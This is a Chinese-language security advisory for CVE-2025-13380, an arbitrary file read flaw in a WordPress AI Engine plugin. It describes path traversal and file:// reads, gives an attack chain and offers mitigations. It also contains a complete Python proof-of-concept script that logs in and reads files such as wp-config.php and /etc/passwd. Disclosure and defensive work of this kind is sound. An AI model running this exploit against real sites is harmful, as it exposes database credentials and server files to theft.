IPBUF安全漏洞报告
English
CVE-2025-13380 CVSS 6.5 中危

CVE-2025-13380 WordPress AI Engine插件任意文件读取漏洞

披露日期: 2025-11-25

漏洞信息

漏洞编号
CVE-2025-13380
漏洞类型
任意文件读取
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
AI Engine for WordPress: ChatGPT, GPT Content Generator plugin

相关标签

任意文件读取WordPress插件漏洞AI Engine路径遍历文件包含CVE-2025-13380WordPress安全AJAX漏洞

漏洞概述

AI Engine是WordPress的一个流行插件,用于集成ChatGPT和GPT内容生成功能。该插件在1.0.1及之前的所有版本中存在严重的任意文件读取漏洞。漏洞的根本原因在于两个方面:首先,'lqdai_update_post' AJAX端点对用户提供的文件路径验证不足,攻击者可以通过构造特殊的文件路径请求来读取服务器上的任意文件;其次,insert_image()函数使用file_get_contents()处理用户控制的URL时,没有实施协议限制(如禁止file://等协议),导致攻击者可以通过URL编码或协议绕过技术读取本地文件。攻击者只需要拥有WordPress的Contributor级别权限(低权限账户)即可利用此漏洞,成功利用后可读取服务器上的敏感文件,包括但不限于配置文件、数据库凭据、其他插件的数据等。该漏洞的CVSS评分为6.5,属于中等严重程度,但由于攻击复杂度低且权限要求不高,实际威胁程度不容忽视。建议受影响的用户立即升级到最新版本或采取临时缓解措施。

技术细节

该漏洞主要涉及两个安全缺陷:第一个缺陷位于'lqdai_update_post' AJAX端点,该端点在处理用户提交的文件路径时,仅进行了简单的路径拼接而没有进行严格的路径验证和安全检查。攻击者可以使用路径遍历技术(如使用../等相对路径符号)来访问Web根目录之外的文件。第二个缺陷在insert_image()函数中,该函数使用PHP的file_get_contents()函数来处理用户提供的URL参数,但缺少对URL协议的安全验证。正常情况下应该只允许http://和https://协议,但实际代码中未做限制,攻击者可以通过file://协议来读取本地文件系统中的任意文件。两个漏洞结合使用,攻击者可以构造特定的AJAX请求,利用file_get_contents()配合file://协议读取任意文件内容。攻击过程不需要复杂的技术手段,普通WordPress Contributor账户即可发起攻击,成功率较高。

攻击链分析

STEP 1
1
攻击者获取WordPress Contributor级别或更高权限的用户账户
STEP 2
2
攻击者构造恶意的AJAX请求到/lqdai_update_post端点,通过file_path参数使用路径遍历(如../../../)读取服务器任意文件
STEP 3
3
或利用insert_image()函数的file_get_contents()漏洞,通过file://协议直接读取本地文件系统内容
STEP 4
4
服务器端代码未对路径进行安全验证,直接读取指定文件并返回内容
STEP 5
5
攻击者获取敏感文件内容,如wp-config.php(包含数据库凭据)、/etc/passwd等

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-13380 PoC - WordPress AI Engine Arbitrary File Read # Target: WordPress site with AI Engine plugin <= 1.0.1 def exploit_file_read(target_url, wordpress_url, username, password, file_path): """ Exploit the arbitrary file read vulnerability in AI Engine plugin Args: target_url: Base URL of the WordPress site wordpress_url: WordPress login URL (usually wp-login.php) username: WordPress username with Contributor+ role password: WordPress password file_path: Path to file to read (e.g., /etc/passwd or ../../wp-config.php) """ session = requests.Session() # Step 1: Login to WordPress login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': target_url, 'testcookie': '1' } print(f'[*] Logging in to WordPress as {username}...') resp = session.post(wordpress_url, data=login_data) if 'wordpress_logged_in' not in str(session.cookies): print('[-] Login failed!') return None print('[+] Login successful!') # Step 2: Exploit via lqdai_update_post AJAX endpoint # Method 1: Path traversal via file path parameter ajax_url = f'{target_url}/wp-admin/admin-ajax.php' exploit_data = { 'action': 'lqdai_update_post', 'file_path': file_path # Can use ../../../etc/passwd } print(f'[*] Attempting to read file: {file_path}') resp = session.post(ajax_url, data=exploit_data) if resp.status_code == 200: print(f'[+] Response received (length: {len(resp.text)} bytes)') if resp.text and len(resp.text) > 0: return resp.text # Step 3: Alternative exploitation via insert_image() function # Using file:// protocol to read local files image_url = f'file://{file_path}' exploit_data_v2 = { 'action': 'lqdai_insert_image', 'image_url': image_url } print(f'[*] Trying alternative method with file:// protocol...') resp = session.post(ajax_url, data=exploit_data_v2) if resp.status_code == 200: return resp.text return None if __name__ == '__main__': if len(sys.argv) < 6: print('Usage: python cve-2025-13380.py <target_url> <wp_login_url> <username> <password> <file_path>') print('Example: python cve-2025-13380.py http://example.com http://example.com/wp-login.php admin password ../../../wp-config.php') sys.exit(1) target = sys.argv[1] wp_login = sys.argv[2] user = sys.argv[3] pwd = sys.argv[4] file_path = sys.argv[5] result = exploit_file_read(target, wp_login, user, pwd, file_path) if result: print('\n[+] File content:') print(result) else: print('[-] Failed to read file')

影响范围

AI Engine for WordPress plugin <= 1.0.1

防御指南

临时缓解措施
如果无法立即升级插件,可以采取以下临时缓解措施:1)限制WordPress用户注册和角色分配,确保只有可信任的用户拥有Contributor或更高权限;2)通过Web应用防火墙(WAF)规则阻止包含路径遍历字符(../)和file://协议的请求;3)临时禁用AI Engine插件的相关AJAX功能;4)加强对WordPress后台登录的双重认证;5)监控服务器日志,关注异常的AJAX请求模式;6)限制Web服务器用户对敏感目录的读取权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表